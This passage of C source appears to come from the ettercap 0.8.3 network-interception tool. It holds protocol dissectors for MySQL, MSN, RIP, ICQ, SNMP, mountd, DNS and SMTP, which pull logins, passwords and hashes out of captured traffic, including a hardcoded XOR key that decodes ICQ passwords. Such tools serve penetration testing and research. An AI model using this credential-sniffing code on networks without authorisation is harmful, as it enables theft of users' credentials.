ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, (char*)s->data, output); } dissect_wipe_session(PACKET, DISSECT_CODE(dissector_mysql)); } else { DEBUG_MSG("\tDissector_mysql DUMP ENCRYPTED"); /* Reach the username */ ptr += 9; /* save the username */ PACKET->DISSECTOR.user = strdup((const char*)ptr); /* Reach the encrypted password */ ptr += strlen(PACKET->DISSECTOR.user) + 1; if (ptr < end && strlen((const char*)ptr) != 0) { int length = strlen(s->data) + strlen((const char*)ptr) + 128; SAFE_CALLOC(PACKET->DISSECTOR.pass, length, sizeof(char)); snprintf(PACKET->DISSECTOR.pass, length, "Seed:%s Encrypted:%s", (char *)s->data, ptr); } else { PACKET->DISSECTOR.pass = strdup("No Password!!!"); } DISSECT_MSG("MYSQL : %s:%d -> USER:%s %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass); dissect_wipe_session(PACKET, DISSECT_CODE(dissector_mysql)); } } } SAFE_FREE(ident); return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_msn.c0000644000175000017500000001346113505247364017562 0ustar koeppeakoeppea/* ettercap -- dissector MSN -- TCP 1863 Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include /* globals */ /* protos */ FUNC_DECODER(dissector_msn); void msn_init(void); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init msn_init(void) { dissect_add("msn", APP_LAYER_TCP, 1863, dissector_msn); } FUNC_DECODER(dissector_msn) { DECLARE_DISP_PTR_END(ptr, end); char tmp[MAX_ASCII_ADDR_LEN]; struct ec_session *s = NULL; void *ident = NULL; char *token, *tok; /* don't complain about unused var */ (void)end; (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; DEBUG_MSG("MSN --> TCP dissector_msn"); /* message coming from the client */ if (FROM_CLIENT("msn", PACKET)) { /* FIRST STEP: the client sends the login */ dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_msn)); /* if the session does not exist... */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { /* search the login */ ptr = (u_char*)strstr((const char*)ptr, "MD5 I "); /* not found */ if (ptr == NULL) goto bad; DEBUG_MSG("\tDissector_msn - LOGIN "); /* create the new session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_msn)); /* save the login */ s->data = strdup((const char*)ptr + strlen("MD5 I ")); /* tuncate at the \r */ if ( (ptr = (u_char*)strchr(s->data,'\r')) != NULL ) *ptr = '\0'; session_put(s); } else { /* THIRD STEP: the client sends the MD5 password */ dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_msn)); /* if the session does not exist... */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) { /* search the login */ ptr = (u_char*)strstr((const char*)ptr, "MD5 S "); /* not found */ if (ptr == NULL) goto bad; DEBUG_MSG("\tDissector_msn - PASS "); /* save the challenge after the login */ SAFE_REALLOC(s->data, strlen(s->data) + strlen((const char*)ptr) + 2); snprintf(s->data + strlen(s->data), strlen(s->data) + strlen((const char*)ptr)+2, " %s", ptr + strlen("MD5 S ")); /* tuncate at the \r */ if ( (ptr = (u_char*)strchr(s->data,'\r')) != NULL ) *ptr = '\0'; /* save the proper value (splitting the string) * it contains: * "user challenge password" */ if ((token = ec_strtok(s->data, " ", &tok))) { PACKET->DISSECTOR.user = strdup(token); if ((token = ec_strtok(NULL, " ", &tok))) { PACKET->DISSECTOR.info = strdup(token); if ((token = ec_strtok(NULL, " ", &tok))) { PACKET->DISSECTOR.pass = strdup(token); /* display the message */ DISSECT_MSG("MSN : %s:%d -> USER: %s MD5 PASS: %s CHALLENGE: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass, PACKET->DISSECTOR.info); } } } /* wipe the session */ dissect_wipe_session(PACKET, DISSECT_CODE(dissector_msn)); } } } else { /* the message is from the server */ /* SECOND STEP: the server sends the challenge */ dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_msn)); /* if the session does not exist... */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) { /* search the login */ ptr = (u_char*)strstr((const char*)ptr, "MD5 S "); /* not found */ if (ptr == NULL) goto bad; DEBUG_MSG("\tDissector_msn - CHALLENGE "); /* save the challenge after the login */ SAFE_REALLOC(s->data, strlen(s->data) + strlen((const char*)ptr) + 2); snprintf(s->data + strlen(s->data), strlen(s->data)+strlen((const char*)ptr)+2, " %s", ptr + strlen("MD5 S ")); /* tuncate at the \r */ if ( (ptr = (u_char*)strchr(s->data,'\r')) != NULL ) *ptr = '\0'; } } bad: SAFE_FREE(ident); return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_rip.c0000644000175000017500000001415013505247364017553 0ustar koeppeakoeppea/* ettercap -- dissector RIP -- UDP 520 Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ /* * RIP version 2 RFC 2453 * * 0 1 2 3 * 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * 0 | command (1) | version (1) | must be zero (2) | * +---------------+---------------+-------------------------------+ * 4 | Address Family Identifier (2) | Route Tag (2) | * +-------------------------------+-------------------------------+ * 8 | IP Address (4) | * +---------------------------------------------------------------+ * 12 | Subnet Mask (4) | * +---------------------------------------------------------------+ * 16 | Next Hop (4) | * +---------------------------------------------------------------+ * 20 | Metric (4) | * +---------------------------------------------------------------+ * * * 0 1 2 3 3 * 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * 0 | Command (1) | Version (1) | unused | * +---------------+---------------+-------------------------------+ * 4 | 0xFFFF | Authentication Type (2) | * +-------------------------------+-------------------------------+ * 8 ~ Authentication (16) ~ * +---------------------------------------------------------------+ * */ #include #include #include struct rip_hdr { u_int8 command; u_int8 version; u_int16 zero; u_int16 family; u_int16 auth_type; u_int8 auth[16]; }; #define RIP_HEADER_SIZE 4 #define RIP_AUTH_MD5_SIZE 16 #define RIP_AUTH_MD5_COMPAT_SIZE RIP_HEADER_SIZE + RIP_AUTH_MD5_SIZE struct rip_md5_info { u_int8 command; u_int8 version; u_int16 zero; u_int16 family; u_int16 auth_type; u_int16 packet_len; u_int8 keyid; u_int8 auth_len; u_int32 sequence; u_int32 reserv1; u_int32 reserv2; u_int16 afamily; u_int16 atype; u_int8 adigest[16]; }; /* protos */ FUNC_DECODER(dissector_rip); void rip_init(void); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init rip_init(void) { dissect_add("rip", APP_LAYER_UDP, 520, dissector_rip); } FUNC_DECODER(dissector_rip) { DECLARE_DISP_PTR_END(ptr, end); char tmp[MAX_ASCII_ADDR_LEN]; struct rip_hdr *rip; int i = 0; /* don't complain about unused var */ (void)end; (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; /* skip empty packets */ if (PACKET->DATA.len == 0) return NULL; DEBUG_MSG("RIP --> UDP dissector_rip"); /* cast the struct */ rip = (struct rip_hdr *)ptr; /* switch on the version */ switch(rip->version) { case 2: /* address family 0xFF Tag 2 (AUTH) */ if ( rip->family == 0xffff && ntohs(rip->auth_type) == 0x0002 ) { DEBUG_MSG("\tDissector_RIP version 2 simple AUTH"); PACKET->DISSECTOR.user = strdup("RIPv2"); PACKET->DISSECTOR.pass = strdup((char *)rip->auth); DISSECT_MSG("RIPv2 : %s:%d -> AUTH: %s \n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.pass); } if ( rip->family == 0xffff && ntohs(rip->auth_type) == 0x0003 ) { /* RIP v2 MD5 authentication */ struct rip_md5_info *ripm; ripm = (struct rip_md5_info *)ptr; DEBUG_MSG("\tDissector_RIP version 2 MD5 AUTH"); if (ripm->auth_len != RIP_AUTH_MD5_SIZE && \ ripm->auth_len != RIP_AUTH_MD5_COMPAT_SIZE) { return NULL; } uint16_t rip_packet_len = ntohs(ripm->packet_len); /* validate the packet */ if (rip_packet_len > (PACKET->DATA.len - RIP_HEADER_SIZE - \ RIP_AUTH_MD5_SIZE)) { return NULL; } DISSECT_MSG("RIPv2-%s-%d:$netmd5$", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst)); for (i = 0; i < rip_packet_len + RIP_HEADER_SIZE; i++) { if (ptr + i == NULL) return NULL; DISSECT_MSG("%02x", *(ptr+i)); } DISSECT_MSG("$"); for (i = rip_packet_len + RIP_HEADER_SIZE; i < rip_packet_len + \ RIP_HEADER_SIZE + RIP_AUTH_MD5_SIZE; i++) { if (ptr + i == NULL) return NULL; DISSECT_MSG("%02x", *(ptr+i)); } DISSECT_MSG("\n"); } break; case 4: /* XXX - TODO RIP v4 */ break; } return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_icq.c0000644000175000017500000001121213505247364017531 0ustar koeppeakoeppea/* ettercap -- dissector icq -- TCP 5190 5191 5192 5193 Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include /* globals */ struct tlv_hdr { u_int8 type[2]; #define TLV_LOGIN "\x00\x01" #define TLV_PASS "\x00\x02" u_int8 len[2]; }; struct flap_hdr { u_int8 cmd; u_int8 chan; #define FLAP_CHAN_LOGIN 1 u_int16 seq; u_int16 dlen; }; struct snac_hdr { u_int16 family; u_int16 subtype; u_int16 flags; u_char id[4]; }; /* protos */ FUNC_DECODER(dissector_icq); static void icq_init(void); static void decode_pwd(char *pwd, char *outpwd); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ static void __init icq_init(void) { dissect_add("icq", APP_LAYER_TCP, 5190, dissector_icq); dissect_add("icq", APP_LAYER_TCP, 5191, dissector_icq); dissect_add("icq", APP_LAYER_TCP, 5192, dissector_icq); dissect_add("icq", APP_LAYER_TCP, 5193, dissector_icq); } FUNC_DECODER(dissector_icq) { DECLARE_DISP_PTR_END(ptr, end); char tmp[MAX_ASCII_ADDR_LEN]; struct flap_hdr *fhdr; struct tlv_hdr *thdr; char *user, *pwdtemp; /* don't complain about unused var */ (void)end; (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; /* parse only version 7/8 */ if (ptr[0] != 0x2a || ptr[1] > 4) return NULL; /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; /* skip messages coming from the server */ if (FROM_SERVER("icq", PACKET)) return NULL; DEBUG_MSG("ICQ --> TCP dissector_icq [%d.%d]", ptr[0], ptr[1]); /* we try to recognize the protocol */ fhdr = (struct flap_hdr *) ptr; /* login sequence */ if (fhdr->chan == FLAP_CHAN_LOGIN) { /* move the pointer */ ptr += sizeof(struct flap_hdr); thdr = (struct tlv_hdr *) ptr; /* we need server HELLO (0000 0001) */ if (memcmp(ptr, "\x00\x00\x00\x01", 4) ) return NULL; /* move the pointer */ thdr = thdr + 1; /* catch the login */ if (memcmp(thdr->type, TLV_LOGIN, sizeof(thdr->type))) return NULL; DEBUG_MSG("\tDissector_icq - LOGIN "); /* point to the user */ user = (char *)(thdr + 1); /* move the pointer */ thdr = (struct tlv_hdr *) ((char *)thdr + sizeof(struct tlv_hdr) + thdr->len[1]); DEBUG_MSG("\tdissector_icq : TLV TYPE [%d]", thdr->type[1]); /* catch the pass */ if (memcmp(thdr->type, TLV_PASS, sizeof(thdr->type))) return NULL; DEBUG_MSG("\tDissector_icq - PASS"); /* use a temp buff to decript the password */ pwdtemp = strdup((char *)(thdr + 1)); SAFE_CALLOC(PACKET->DISSECTOR.pass, strlen(pwdtemp) + 1, sizeof(char)); /* decode the password */ decode_pwd(pwdtemp, PACKET->DISSECTOR.pass); /* save the user */ PACKET->DISSECTOR.user = strdup(user); SAFE_FREE(pwdtemp); /* move the pointer */ thdr = (struct tlv_hdr *) ((char *)thdr + sizeof(struct tlv_hdr) + thdr->len[1]); PACKET->DISSECTOR.info = strdup((char *)(thdr + 1)); DISSECT_MSG("ICQ : %s:%d -> USER: %s PASS: %s \n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass); } return NULL; } /* * decode the crypted password */ static void decode_pwd(char *pwd, char *outpwd) { size_t x, pwdlen; u_char pwd_key[] = { 0xF3, 0x26, 0x81, 0xC4, 0x39, 0x86, 0xDB, 0x92, 0x71, 0xA3, 0xB9, 0xE6, 0x53, 0x7A, 0x95, 0x7C }; pwdlen = strlen(pwd); for( x = 0; x < pwdlen; x++) *(outpwd + x) = pwd[x] ^ pwd_key[x]; return; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_snmp.c0000644000175000017500000000746713505247364017753 0ustar koeppeakoeppea/* ettercap -- dissector snmp -- UDP 161 Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #define ASN1_INTEGER 2 #define ASN1_STRING 4 #define ASN1_SEQUENCE 16 #define SNMP_VERSION_1 0 #define SNMP_VERSION_2c 1 #define SNMP_VERSION_2u 2 #define SNMP_VERSION_3 3 #define MAX_COMMUNITY_LEN 128 /* protos */ FUNC_DECODER(dissector_snmp); void snmp_init(void); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init snmp_init(void) { dissect_add("snmp", APP_LAYER_UDP, 161, dissector_snmp); } FUNC_DECODER(dissector_snmp) { DECLARE_DISP_PTR_END(ptr, end); size_t clen = 0; char tmp[MAX_ASCII_ADDR_LEN]; u_int32 version, n; /* don't complain about unused var */ (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; DEBUG_MSG("SNMP --> UDP dissector_snmp"); /* get the version */ while (*ptr++ != ASN1_INTEGER && ptr < end); /* reached the end */ if (ptr >= end) return NULL; // Check len + version if ((ptr + (*ptr) + 1) >= end) return NULL; /* move to the len */ ptr += *ptr; /* get the version */ version = *ptr++; /* convert the code to the real version */ if (version++ == 3) version = 2; else if (version > 3) version = 3; /* move till the community name len */ while(*ptr++ != ASN1_STRING && ptr < end); /* reached the end */ if (ptr >= end) return NULL; /* get the community name length */ n = *ptr; if (n >= 128) { n &= ~128; if ((ptr + n) > end) return NULL; ptr += n; switch(*ptr) { case 1: clen = *ptr; break; case 2: NS_GET16(clen, ptr); break; case 3: ptr--; NS_GET32(clen, ptr); clen &= 0xfff; break; case 4: NS_GET32(clen, ptr); break; } } else clen = *ptr; /* update the pointer */ ptr++; /* Avoid bof */ if (clen > MAX_COMMUNITY_LEN || ((ptr + clen) > end)) return NULL; SAFE_CALLOC(PACKET->DISSECTOR.user, clen + 2, sizeof(char)); /* fill the structure */ snprintf(PACKET->DISSECTOR.user, clen + 1, "%s", ptr); PACKET->DISSECTOR.pass = strdup(" "); PACKET->DISSECTOR.info = strdup("SNMP v "); /* put the number in the string */ PACKET->DISSECTOR.info[6] = version + 48; DISSECT_MSG("SNMP : %s:%d -> COMMUNITY: %s INFO: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.info); return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_mountd.c0000644000175000017500000000753513505247364020300 0ustar koeppeakoeppea/* ettercap -- dissector mountd -- TCP 2049 Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include /* globals */ typedef struct { u_int32 xid; u_int32 ver; u_char *rem_dir; } mountd_session; /* protos */ FUNC_DECODER(dissector_mountd); void mountd_init(void); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init mountd_init(void) { /* This is inserted into the dissectors' chain by the portmap dissector */ dissect_add("mountd", APP_LAYER_TCP, 2049, dissector_mountd); } FUNC_DECODER(dissector_mountd) { DECLARE_DISP_PTR_END(ptr, end); u_int32 type, xid, proc, program, version, flen, cred, offs, i; mountd_session *pe; struct ec_session *s = NULL; void *ident = NULL; char tmp[MAX_ASCII_ADDR_LEN]; /* don't complain about unused var */ (void)end; (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; /* skip packets which are not useful */ if (PACKET->DATA.len < 24) return NULL; DEBUG_MSG("mountd --> dissector_mountd"); /* Offsets differs from TCP to UDP (?) */ if (PACKET->L4.proto == NL_TYPE_TCP) ptr += 4; xid = pntol(ptr); type = pntol(ptr + 4); /* CALL */ if (FROM_CLIENT("mountd", PACKET)) { program = pntol(ptr + 12); version = pntol(ptr + 16); proc = pntol(ptr + 20); if (type != 0 || program != 100005 || proc != 1 ) return NULL; /* Take remote dir (with some checks) */ cred = pntol(ptr + 28); if (cred > PACKET->DATA.len) return NULL; flen = pntol(ptr + 40 + cred); if (flen > 100) return NULL; dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_mountd)); SAFE_CALLOC(s->data, 1, sizeof(mountd_session)); pe = (mountd_session *)s->data; pe->xid = xid; pe->ver = version; SAFE_CALLOC(pe->rem_dir, 1, flen + 1); memcpy(pe->rem_dir, ptr + 44 + cred, flen); session_put(s); return NULL; } /* REPLY */ dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_mountd)); if (session_get(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { SAFE_FREE(ident); return NULL; } SAFE_FREE(ident); pe = (mountd_session *)s->data; PACKET->DISSECTOR.banner = strdup("mountd"); /* Unsuccess or not a reply */ if (!pe || !(pe->rem_dir) || pe->xid != xid || pntol(ptr + 24) != 0 || type != 1) return NULL; /* Take the handle */ if (pe->ver == 3) { flen = pntol(ptr + 28); if (flen > 64) flen = 64; offs = 32; } else { flen = 32; offs = 28; } DISSECT_MSG("mountd : Server:%s Handle %s: [ ", ip_addr_ntoa(&PACKET->L3.src, tmp), pe->rem_dir); for (i=0; i (flen*3)+10) break; DISSECT_MSG("%02x ", ptr[i + offs]); } DISSECT_MSG("]\n"); SAFE_FREE(pe->rem_dir); dissect_wipe_session(PACKET, DISSECT_CODE(dissector_mountd)); return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_dns.c0000644000175000017500000001626013505247364017551 0ustar koeppeakoeppea/* ettercap -- dissector DNS -- UDP 53 Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include /* * 1 1 1 1 1 1 * 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 * +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ * | ID | * +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ * |QR| Opcode |AA|TC|RD|RA| Z | RCODE | * +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ * | QDCOUNT | * +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ * | ANCOUNT | * +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ * | NSCOUNT | * +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ * | ARCOUNT | * +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ */ struct dns_header { u_int16 id; /* DNS packet ID */ #ifdef WORDS_BIGENDIAN u_char qr: 1; /* response flag */ u_char opcode: 4; /* purpose of message */ u_char aa: 1; /* authoritative answer */ u_char tc: 1; /* truncated message */ u_char rd: 1; /* recursion desired */ u_char ra: 1; /* recursion available */ u_char unused: 1; /* unused bits */ u_char ad: 1; /* authentic data from named */ u_char cd: 1; /* checking disabled by resolver */ u_char rcode: 4; /* response code */ #else /* WORDS_LITTLEENDIAN */ u_char rd: 1; /* recursion desired */ u_char tc: 1; /* truncated message */ u_char aa: 1; /* authoritative answer */ u_char opcode: 4; /* purpose of message */ u_char qr: 1; /* response flag */ u_char rcode: 4; /* response code */ u_char cd: 1; /* checking disabled by resolver */ u_char ad: 1; /* authentic data from named */ u_char unused: 1; /* unused bits */ u_char ra: 1; /* recursion available */ #endif u_int16 num_q; /* Number of questions */ u_int16 num_answer; /* Number of answer resource records */ u_int16 num_auth; /* Number of authority resource records */ u_int16 num_res; /* Number of additional resource records */ }; #define DNS_HEADER_LEN 0xc /* 12 bytes */ /* protos */ FUNC_DECODER(dissector_dns); void dns_init(void); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init dns_init(void) { dissect_add("dns", APP_LAYER_UDP, 53, dissector_dns); } FUNC_DECODER(dissector_dns) { struct dns_header *dns; u_char *data, *end; char name[NS_MAXDNAME], alias[NS_MAXDNAME]; int name_len, i; u_char *q; int16 class, type, a_len; int32 ttl; /* don't complain about unused var */ (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; (void) ttl; DEBUG_MSG("DNS --> UDP 53 dissector_dns"); dns = (struct dns_header *)po->DATA.data; data = (u_char *)(dns + 1); end = (u_char *)dns + po->DATA.len; /* initialize the name */ memset(name, 0, sizeof(name)); memset(alias, 0, sizeof(alias)); /* extract the name from the packet */ name_len = dn_expand((u_char *)dns, end, data, name, sizeof(name)); /* thre was an error */ if (name_len < 0) return NULL; q = data + name_len; /* get the type and class */ NS_GET16(type, q); NS_GET16(class, q); /* handle only internet class */ if (class != ns_c_in) return NULL; /* HOOK POINT: HOOK_PROTO_DNS */ hook_point(HOOK_PROTO_DNS, PACKET); /* this is a DNS answer */ if (dns->qr && dns->rcode == ns_r_noerror && htons(dns->num_answer) > 0) { for (i = 0; i <= ntohs(dns->num_answer); i++) { /* * decode the answer * keep the name separated from aliases... */ if (i == 0) name_len = dn_expand((u_char *)dns, end, q, name, sizeof(name)); else name_len = dn_expand((u_char *)dns, end, q, alias, sizeof(alias)); /* thre was an error */ if (name_len < 0) return NULL; /* update the pointer */ q += name_len; NS_GET16(type, q); NS_GET16(class, q); NS_GET32(ttl, q); NS_GET16(a_len, q); /* only internet class */ if (class != ns_c_in) return NULL; /* alias */ if (type == ns_t_cname || type == ns_t_ptr) { name_len = dn_expand((u_char *)dns, end, q, alias, sizeof(alias)); q += a_len; } /* name to ip */ if (type == ns_t_a) { int32 addr; struct ip_addr ip; char aip[MAX_ASCII_ADDR_LEN]; /* get the address */ NS_GET32(addr, q); /* convert to network order */ addr = htonl(addr); ip_addr_init(&ip, AF_INET, (u_char *)&addr); /* insert the answer in the resolv cache */ resolv_cache_insert_passive(&ip, name); /* display the user message */ ip_addr_ntoa(&ip, aip); //DISSECT_MSG("DNS: %s ->> %s ->> %s\n", name, alias, aip); DEBUG_MSG("DNS: %s ->> %s ->> %s\n", name, alias, aip); } else if (type == ns_t_aaaa) { u_int16 addr[8]; struct ip_addr ip; char aip[MAX_ASCII_ADDR_LEN]; int i = 0; /* IPv6 address - get the bytes in reverse order*/ for (i=0; i<8; i++) { NS_GET16(addr[i], q); addr[i] = htons(addr[i]); } ip_addr_init(&ip, AF_INET6, (u_char*)&addr); /* insert the answer in the resolv cache */ resolv_cache_insert_passive(&ip, name); /* prepare ip address for user message */ ip_addr_ntoa(&ip, aip); /* display the user message */ //DISSECT_MSG("DNS: %s ->> %s ->> %s\n", name, alias, aip); DEBUG_MSG("DNS: %s ->> %s ->> %s\n", name, alias, aip); } } } return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_smtp.c0000644000175000017500000001252113505247364017744 0ustar koeppeakoeppea/* ettercap -- dissector SMTP -- TCP 25 Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include /* protos */ FUNC_DECODER(dissector_smtp); void smtp_init(void); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init smtp_init(void) { dissect_add("smtp", APP_LAYER_TCP, 25, dissector_smtp); sslw_dissect_add("ssmtp", 465, dissector_smtp, SSL_ENABLED); } FUNC_DECODER(dissector_smtp) { DECLARE_DISP_PTR_END(ptr, end); struct ec_session *s = NULL; void *ident = NULL; char tmp[MAX_ASCII_ADDR_LEN]; /* don't complain about unused var */ (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; /* the connection is starting... create the session */ CREATE_SESSION_ON_SYN_ACK("smtp", s, dissector_smtp); CREATE_SESSION_ON_SYN_ACK("ssmtp", s, dissector_smtp); /* check if it is the first packet sent by the server */ IF_FIRST_PACKET_FROM_SERVER_SSL("smtp", "ssmtp", s, ident, dissector_smtp) { DEBUG_MSG("\tdissector_smtp BANNER"); /* * get the banner * ptr + 4 to skip the initial 220 response */ if (!strncmp((const char*)ptr, "220", 3)) { PACKET->DISSECTOR.banner = strdup((const char*)ptr + 4); /* remove the \r\n */ if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.banner, '\r')) != NULL ) *ptr = '\0'; } } ENDIF_FIRST_PACKET_FROM_SERVER(s, ident) /* skip messages coming from the server */ if (FROM_SERVER("smtp", PACKET) || FROM_SERVER("ssmtp", PACKET)) return NULL; /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; DEBUG_MSG("SMTP --> TCP dissector_smtp"); /* skip the number, move to the command */ while(*ptr == ' ' && ptr != end) ptr++; /* reached the end */ if (ptr == end) return NULL; /* * AUTH LOGIN * * digest(user) * digest(pass) * * the digests are in base64 */ if ( !strncasecmp((const char*)ptr, "AUTH LOGIN", 10) ) { DEBUG_MSG("\tDissector_smtp AUTH LOGIN"); /* destroy any previous session */ dissect_wipe_session(PACKET, DISSECT_CODE(dissector_smtp)); /* create the new session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_smtp)); /* remember the state (used later) */ s->data = strdup("AUTH"); /* save the session */ session_put(s); /* username is in the next packet */ return NULL; } /* search the session (if it exist) */ dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_smtp)); if (session_get(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { SAFE_FREE(ident); return NULL; } SAFE_FREE(ident); /* the session is invalid */ if (s->data == NULL) { dissect_wipe_session(PACKET, DISSECT_CODE(dissector_smtp)); return NULL; } if (!strcmp((const char*)s->data, "AUTH")) { char *user; int i; DEBUG_MSG("\tDissector_smtp AUTH LOGIN USER"); SAFE_CALLOC(user, strlen((const char*)ptr), 